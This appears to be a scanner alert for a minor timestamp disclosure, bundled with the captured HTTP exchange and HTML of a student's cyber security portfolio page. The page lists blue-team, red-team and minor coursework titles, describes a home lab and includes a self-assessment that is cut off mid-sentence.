Alert tags Alert description A timestamp was disclosed by the application/web server - Unix
Other info 083845791, which evaluates to: 1972-08-28 11:29:51
Request Request line and header section (192 bytes)
GET https://beekmans.dev HTTP/1.1 Host: beekmans.dev User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0 Pragma: no-cache Cache-Control: no-cacheRequest body (0 bytes)
Response Status line and header section (1047 bytes)
HTTP/1.1 200 OK Date: Mon, 06 Dec 2021 09:55:11 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive vary: Accept-Encoding content-security-policy: default-src 'self' http: https: data: blob: 'unsafe-inline' x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000; includeSubDomains; preload CF-Cache-Status: DYNAMIC Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=4lOrbKK8y%2Bn8QLhKEGpB7rePrCHT1J%2BQaOZJP06h5%2BW2GkK9CRq%2Fdn7ChLzJzoJLiDaKfMYCpMPOGx7ddQ5eVNaVcohEeYRecx%2BV4c%2BapqYy04o6ANFaN3V3sF2rfmk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6b94a31e5f8a4c13-AMS alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Response body (178340 bytes)
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content=""> <meta name="author" content=""> <title>Cyber portfolio</title> <link href="vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet"> <link href="vendor/fontawesome-free/css/all.min.css" rel="stylesheet" type="text/css"> <link href="https://fonts.googleapis.com/css?family=Montserrat:400,700" rel="stylesheet" type="text/css"> <link href='https://fonts.googleapis.com/css?family=Kaushan+Script' rel='stylesheet' type='text/css'> <link href='https://fonts.googleapis.com/css?family=Droid+Serif:400,700,400italic,700italic' rel='stylesheet' type='text/css'> <link href='https://fonts.googleapis.com/css?family=Roboto+Slab:400,100,300,700' rel='stylesheet' type='text/css'> <link href="css/agency.min.css" rel="stylesheet"> </head> <body id="page-top"> <nav class="navbar navbar-expand-lg navbar-dark fixed-top" id="mainNav"> <div class="container"> <a class="navbar-brand js-scroll-trigger" href="#page-top">Cyber security</a> <button class="navbar-toggler navbar-toggler-right" type="button" data-toggle="collapse" data-target="#navbarResponsive" aria-controls="navbarResponsive" aria-expanded="false" aria-label="Toggle navigation"> Menu <i class="fas fa-bars"></i> </button> <div class="collapse navbar-collapse" id="navbarResponsive"> <ul class="navbar-nav text-uppercase ml-auto"> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#services">Services</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#portfolio">Portfolio</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#about">About</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#team">Team</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#contact">Contact</a> </li> </ul> </div> </div> </nav> <header class="masthead"> <div class="container"> <div class="intro-text"> <div class="intro-lead-in">Welcome To My Portfolio!</div> <div class="intro-heading text-uppercase">It's Nice To Meet You</div> <a class="btn btn-primary btn-xl text-uppercase js-scroll-trigger" href="#services">Tell Me More</a> </div> </div> </header> <section id="services"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Introduction</h2> <h3 class="section-subheading text-muted">My project.</h3> </div> </div> <div class="row text-center"> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-shopping-cart fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Environment</h4> <p class="text-muted">I'm using my own Hyper visor (Microsoft's Hyper-V) on a private server in my home. I can connect via a VPN that's also running on this server to my home network to remotely manage the server and manage and deploy VM's. The server is an old DELL T310 with a Xeon x3440, 24GB ddr3 registered ecc 1333mhz memory and all VM's are installed on a Crucial MX500 ssd. The server is part of the home network just like every other computer in my home.</p> </div> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-laptop fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Context</h4> <p class="text-muted">The network I'm building has as focus a webhosting company with some onsite employee's maybe a place for guests and some webservers hosting different websites.</p> </div> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-lock fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Security</h4> <p class="text-muted">The network is secured by separating the webservers from the employees and guests on their own VLAN. The network is protected by a pfsense router running custom firewalls for every interface and running Surricata to identify and block possible threats.</p> </div> </div> </div> </section> <section class="bg-light" id="portfolio"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Portfolio</h2> <h3 class="section-subheading text-muted">Cyber security.</h3> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Blue teaming semester</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal1"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/01-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Self assessment week 1</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal2"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid portfolio-image" src="img/portfolio/blue/02-thumbnail.gif" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Network diagram V1</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal3"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/03-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Network diagram V2</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal4"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/04-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Secure connections</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal5"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/05-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">IDS/IPS</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal6"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/06-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Information Security and Risk Analysis</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal7"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/07-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">IT Monitoring</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Red teaming semester</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal8"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/08-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">SQL injection</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal9"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/09-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Command injection</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal10"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/10-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Cross-site scripting</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal11"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/11-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Cross-site request forgery</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal12"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/12-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Path traversal</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal13"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/13-thumbnail.jpeg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Password cracking</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal14"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/14-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Network scanning and enumeration</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal15"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/15-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Network sniffing and spoofing</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal16"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/16-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Law, Ethics and Responsible Disclosure</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal17"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/17-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Basic hacking process</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal18"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/18-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Self reflection</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Internship</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal19"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/internship/19-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S5</h4> <p class="text-muted">My internship</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Minor</h4> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h5 class="section-subheading text-muted">Red teaming specialisation</h5> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal20"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/20-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Pentesting methods</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal21"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/21&22&31-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">HTB Linux write-up</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal22"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/21&22&31-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">HTB Windows write-up</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal23"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/23-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Red VS Blue Event</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal24"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis session</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal25"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/25-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Personal pen-test toolbox</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal26"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/26-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Security of IOT protocols and technology</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal27"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/27-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Pen-test at COMPANY_NAME_HERE</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal28"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis on a smartphone app</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal29"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis on a website</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal30"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis on a device</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal31"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/21&22&31-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Organize a weekly Hack The Box event</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h5 class="section-subheading text-muted">Blue teaming specialisation</h5> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal32"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/32-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Red VS Blue Event</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal33"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/33&37-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">IDS technologies</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal34"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/34-thumbnail.svg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Monitoring technologies</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal35"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/35-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">SIEM technologies</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal36"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/36-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Threat use cases</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal37"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/33&37-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Developing and tuning an IDS</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal38"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/38-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Setting up a SOC</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal39"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/39-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability scanning</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal40"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/40-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Security monitoring, analysis and triage</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h5 class="section-subheading text-muted">Forensics specialisation</h5> </div> </div> </div> </section> <section id="about"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">About</h2> <h3 class="section-subheading text-muted">My cyber security career.</h3> </div> </div> <div class="row"> <div class="col-lg-12"> <ul class="timeline"> <li> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/1.jpg" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S3 2019</h4> <h4 class="subheading">The beginning</h4> </div> <div class="timeline-body"> <p class="text-muted">This was the first time I got experienced the cyber security stream and what it had to offer. I learned the basics of the defensive side of cyber security.</p> </div> </div> </li> <li class="timeline-inverted"> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/2.jpg" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S4 2020</h4> <h4 class="subheading">Round 2</h4> </div> <div class="timeline-body"> <p class="text-muted">This was my second semester on cyber security this time focusing on the offensive side.</p> </div> </div> </li> <li> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/3.png" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S5 2021</h4> <h4 class="subheading">The internship</h4> </div> <div class="timeline-body"> <p class="text-muted">Lorem ipsum dolor sit amet, consectetur adipisicing elit. Sunt ut voluptatum eius sapiente, totam reiciendis temporibus qui quibusdam, recusandae sit vero unde, sed, incidunt et ea quo dolore laudantium consectetur!</p> </div> </div> </li> <li class="timeline-inverted"> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/4.jpg" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S7 2021</h4> <h4 class="subheading">My minor</h4> </div> <div class="timeline-body"> <p class="text-muted">Lorem ipsum dolor sit amet, consectetur adipisicing elit. Sunt ut voluptatum eius sapiente, totam reiciendis temporibus qui quibusdam, recusandae sit vero unde, sed, incidunt et ea quo dolore laudantium consectetur!</p> </div> </div> </li> <li class="timeline-inverted"> <div class="timeline-image"> <h4>The <br>Future </h4> </div> </li> </ul> </div> </div> </div> </section> <section class="bg-light" id="team"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">About me</h2> <h3 class="section-subheading text-muted">Some additional links and information.</h3> </div> </div> <div class="row"> <div class="col-sm-4"> </div> <div class="col-sm-4"> <div class="team-member"> <img class="mx-auto rounded-circle" src="img/team/Pim.jpg" alt=""> <h4>Pim Beekmans</h4> <p class="text-muted">Student</p> <ul class="list-inline social-buttons"> <li class="list-inline-item"> <a href="#"> <i class="fab fa-twitter"></i> </a> </li> <li class="list-inline-item"> <a href="#"> <i class="fab fa-facebook-f"></i> </a> </li> <li class="list-inline-item"> <a href="https://www.linkedin.com/in/pim-beekmans/?originalSubdomain=nl"> <i class="fab fa-linkedin-in"></i> </a> </li> </ul> </div> </div> <div class="col-sm-4"> </div> <div class="row"> <div class="col-lg-8 mx-auto text-center"> <p class="large text-muted">This is me, thank you for reading, hopefully you've liked my portfolio on cyber security. For additional feedback feel free to send an email to <a href="/cdn-cgi/l/email-protection#ddadb4b09dbfb8b8b6b0bcb3aef3b9b8ab"><span class="__cf_email__" data-cfemail="1a6a73775a787f7f71777b7469347e7f6c">[email protected]</span></a>.</p> </div> </div> </div> </div> </section> <section class="py-5"> <div class="container"> <div class="row"> </div> </div> </section> <section id="contact"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Contact Me</h2> <br> </div> </div> <div class="row"> <div class="col-lg-12"> <form id="contactForm" name="sentMessage" novalidate="novalidate"> <div class="row"> <div class="col-md-6"> <div class="form-group"> <input class="form-control" id="name" type="text" placeholder="Your Name *" required="required" data-validation-required-message="Please enter your name."> <p class="help-block text-danger"></p> </div> <div class="form-group"> <input class="form-control" id="email" type="email" placeholder="Your Email *" required="required" data-validation-required-message="Please enter your email address."> <p class="help-block text-danger"></p> </div> <div class="form-group"> <input class="form-control" id="phone" type="tel" placeholder="Your Phone *" required="required" data-validation-required-message="Please enter your phone number."> <p class="help-block text-danger"></p> </div> </div> <div class="col-md-6"> <div class="form-group"> <textarea class="form-control" id="message" placeholder="Your Message *" required="required" data-validation-required-message="Please enter a message."></textarea> <p class="help-block text-danger"></p> </div> </div> <div class="clearfix"></div> <div class="col-lg-12 text-center"> <div id="success"></div> <button id="sendMessageButton" class="btn btn-primary btn-xl text-uppercase" type="submit">Send Message</button> </div> </div> </form> </div> </div> </div> </section> <footer> <div class="container"> <div class="row"> <div class="col-md-4"> <span class="copyright">Copyright © Beekmans.dev 2019</span> </div> <div class="col-md-4"> </div> <div class="col-md-4"> <ul class="list-inline quicklinks"> <li class="list-inline-item"> <a href="#">Privacy Policy</a> </li> <li class="list-inline-item"> <a href="#">Terms of Use</a> </li> </ul> </div> </div> </div> </footer> <div class="portfolio-modal modal fade" id="portfolioModal1" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Self Assessment</h2> <p class="item-intro text-muted">Week 1</p> <p> <ol> <li>What did you like / or find easy?</li> <li>What did you find difficult? At what point did it get too difficult for now?</li> <li> Then check the list of learning subjects for the basic knowledge assignment and possibilities and requirements for the project. <ul> <li>What subjects do you already know and what is unknown terrain for you?</li> </ul> </li> <li>What parts of the current semester would you like to give much attention?</li> <li>What do you want to achieve and learn in particular?</li> <li>Which study style and corresponding planning is most suitable for you?</li> <li>What would you like to do or achieve in the project? (subjects, type of project, domain to work in, learning goals, etc.) </li> </ol> <br> Answers: <br> <ol> <li>I like working with servers and playing with my network at home and virtual machines. I think I find basic networking the easiest. </li> <li>Advanced networking all knowledge that I know is self-taught so I think there is a lot I don’t know yet. I got stuck on virtual lans and ip routing at home what else I’ll find difficult is what I need to find out in the distant future. </li> <li> Subjects: <div class="container"> <div class="row"> <div class="col-sm-4"> <ul> Used: <li>VMWare</li> <li>Linux</li> <li>IPv4</li> <li>NAT</li> <li>TCP/IP</li> <li>DNS</li> <li>HTTP</li> <li>FTP</li> <li>Firewalls</li> <li>HTTPS</li> <li>VPN</li> </ul> </div> <div class="col-sm-4"> <ul> Know about but never used: <li>VMWare ESX</li> <li>Wireshark</li> <li>ARP</li> <li>IP routing</li> <li>SMTP</li> <li>IDS</li> </ul> </div> <div class="col-sm-4"> <ul> Never heard about it: <li>Seclab</li> <li>ICMP ping</li> <li>CIA and IT Risk analysis</li> </ul> </div> </div> </div> </li> <li>Advanced networking and the transition to Java.</li> <li>How to be a good Cyber security expert.</li> <li>Style 2, I’ll try to find out if this is the most suitable for me and maybe go to the style 3 courses on the days I get subjects I already know. </li> <li>I don’t really have a preference I want to 